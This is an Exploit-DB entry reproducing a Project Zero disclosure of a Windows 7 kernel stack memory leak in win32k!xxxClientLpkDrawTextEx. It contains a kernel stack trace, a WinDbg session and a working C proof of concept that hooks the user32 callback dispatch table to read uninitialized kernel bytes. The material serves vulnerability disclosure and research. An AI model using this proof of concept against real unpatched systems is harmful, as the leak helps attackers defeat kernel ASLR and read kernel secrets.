Microsoft Windows 7 Kernel - 'win32k!xxxClientLpkDrawTextEx' Stack Memory Disclosure

EDB-ID:

42008




Platform:

Windows

Date:

2017-05-15


/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1182

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other platforms untested) indirectly through the win32k!NtUserCreateWindowEx system call. The analysis shown below was performed on Windows 7 32-bit.

The full stack trace of where uninitialized kernel stack data is leaked to user-mode is as follows:

--- cut ---
8a993e28 82ab667d nt!memcpy+0x35
8a993e84 92c50063 nt!KeUserModeCallback+0xc6
8a994188 92c5f436 win32k!xxxClientLpkDrawTextEx+0x16b
8a9941f4 92c5f72e win32k!DT_GetExtentMinusPrefixes+0x91
8a994230 92c5f814 win32k!NeedsEndEllipsis+0x3d
8a99437c 92c5fa0f win32k!AddEllipsisAndDrawLine+0x56
8a994404 92c5fa9b win32k!DrawTextExWorker+0x140
8a994428 92bb8c65 win32k!DrawTextExW+0x1e
8a9946f0 92b23702 win32k!xxxDrawCaptionTemp+0x54d
8a994778 92b78ce8 win32k!xxxDrawCaptionBar+0x682
8a99479c 92b8067f win32k!xxxDWP_DoNCActivate+0xd6
8a994818 92b59c8d win32k!xxxRealDefWindowProc+0x7fe
8a99483c 92b86c1c win32k!xxxDefWindowProc+0x10f
8a994874 92b8c156 win32k!xxxSendMessageToClient+0x11b
8a9948c0 92b8c205 win32k!xxxSendMessageTimeout+0x1cf
8a9948e8 92b719b5 win32k!xxxSendMessage+0x28
8a994960 92b4284b win32k!xxxActivateThisWindow+0x473
8a9949c8 92b42431 win32k!xxxSetForegroundWindow2+0x3dd
8a994a08 92b714c7 win32k!xxxSetForegroundWindow+0x1e4
8a994a34 92b712d7 win32k!xxxActivateWindow+0x1b3
8a994a48 92b70cd6 win32k!xxxSwpActivate+0x44
8a994aa8 92b70f83 win32k!xxxEndDeferWindowPosEx+0x2b5
8a994ac8 92b7504f win32k!xxxSetWindowPos+0xf6
8a994b04 92b6f6dc win32k!xxxShowWindow+0x25a
8a994c30 92b72da9 win32k!xxxCreateWindowEx+0x137b
8a994cf0 82876db6 win32k!NtUserCreateWindowEx+0x2a8
8a994cf0 77486c74 nt!KiSystemServicePostCall
0022f9f8 770deb5c ntdll!KiFastSystemCallRet
0022f9fc 770deaf0 USER32!NtUserCreateWindowEx+0xc
0022fca0 770dec1c USER32!VerNtUserCreateWindowEx+0x1a3
0022fd4c 770dec77 USER32!_CreateWindowEx+0x201
0022fd88 004146a5 USER32!CreateWindowExW+0x33
--- cut ---

The win32k!xxxClientLpkDrawTextEx function invokes a user-mode callback #69 (corresponding to user32!__ClientLpkDrawTextEx), and passes in an input structure of 0x98 bytes. We have found that 4 bytes at offset 0x64 of that structure are uninitialized. These bytes come from offset 0x2C of a smaller structure of size 0x3C, which is passed to win32k!xxxClientLpkDrawTextEx through the 8th parameter. We have tracked that this smaller structure originates from the stack frame of the win32k!DrawTextExWorker function, and is passed down to win32k!DT_InitDrawTextInfo in the 4th argument.

The uninitialized data can be obtained by a user-mode application by hooking the appropriate entry in the user32.dll callback dispatch table, and reading data from a pointer provided through the handler's parameter. This technique is illustrated by the attached proof-of-concept code (again, specific to Windows 7 32-bit). During a few quick attempts, we have been unable to control the leaked bytes with stack spraying techniques, or to get them to contain any meaningful values for the purpose of vulnerability demonstration. However, if we attach a WinDbg debugger to the tested system, we can set a breakpoint at the beginning of win32k!DrawTextExWorker, manually overwrite the 4 bytes in question to a controlled DWORD right after the stack frame allocation instructions, and then observe these bytes in the output of the PoC program, which indicates they were not initialized anywhere during execution between win32k!DrawTextExWorker and nt!KeUserModeCallback(), and copied in the leftover form to user-mode. See below:

--- cut ---
2: kd> ba e 1 win32k!DrawTextExWorker
2: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> p
win32k!DrawTextExWorker+0x2:
8122f8d1 55              push    ebp
3: kd> p
win32k!DrawTextExWorker+0x3:
8122f8d2 8bec            mov     ebp,esp
3: kd> p
win32k!DrawTextExWorker+0x5:
8122f8d4 8b450c          mov     eax,dword ptr [ebp+0Ch]
3: kd> p
win32k!DrawTextExWorker+0x8:
8122f8d7 83ec58          sub     esp,58h
3: kd> p
win32k!DrawTextExWorker+0xb:
8122f8da 53              push    ebx
3: kd> ed ebp-2c cccccccc
3: kd> g
Breakpoint 0 hit
win32k!DrawTextExWorker:
8122f8cf 8bff            mov     edi,edi
3: kd> g
--- cut ---

Here, a 32-bit value at EBP-0x2C is overwritten with 0xCCCCCCCC. This is the address of the uninitialized memory, since it is located at offset 0x2C of a structure placed at EBP-0x58; EBP-0x58+0x2C = EBP-0x2C. After executing the above commands, the program should print output similar to the following:

--- cut ---
00000000: 98 00 00 00 18 00 00 00 01 00 00 00 00 00 00 00 ................
00000010: 7c 00 00 00 00 00 00 00 14 00 16 00 80 00 00 00 |...............
00000020: a4 02 01 0e 00 00 00 00 00 00 00 00 0a 00 00 00 ................
00000030: 00 00 00 00 24 88 00 00 18 00 00 00 04 00 00 00 ....$...........
00000040: 36 00 00 00 16 00 00 00 30 00 00 00 01 00 00 00 6.......0.......
00000050: 01 00 00 00 0d 00 00 00 1e 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00[cc cc cc cc]00 00 00 00 04 00 00 00 ................
00000070: ff ff ff ff 01 00 00 00 ff ff ff ff 1c 00 00 00 ................
00000080: 54 00 65 00 73 00 74 00 57 00 69 00 6e 00 64 00 T.e.s.t.W.i.n.d.
00000090: 6f 00 77 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? o.w.............
--- cut ---

It's clearly visible that bytes at offsets 0x64-0x67 are equal to the data we set in the prologue of win32k!DrawTextExWorker, which illustrates how uninitialized stack data is leaked to user-mode.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

PVOID *GetUser32DispatchTable() {
  __asm{
    mov eax, fs:30h
    mov eax, [eax+0x2c]
  }
}

BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler) {
  PVOID *DispatchTable = GetUser32DispatchTable();
  DWORD OldProtect;

  if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
    printf("VirtualProtect#1 failed, %d\n", GetLastError());
    return FALSE;
  }

  DispatchTable[Index] = lpNewHandler;
  
  if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
    printf("VirtualProtect#2 failed, %d\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

VOID ClientLpkDrawTextExHook(LPVOID Data) {
  printf("----------\n");
  PrintHex((PBYTE)Data, 0x98);
}

int main() {
  if (!HookUser32DispatchFunction(69, ClientLpkDrawTextExHook)) {
    return 1;
  }
  
  HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
                            CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);
  DestroyWindow(hwnd);

  return 0;
}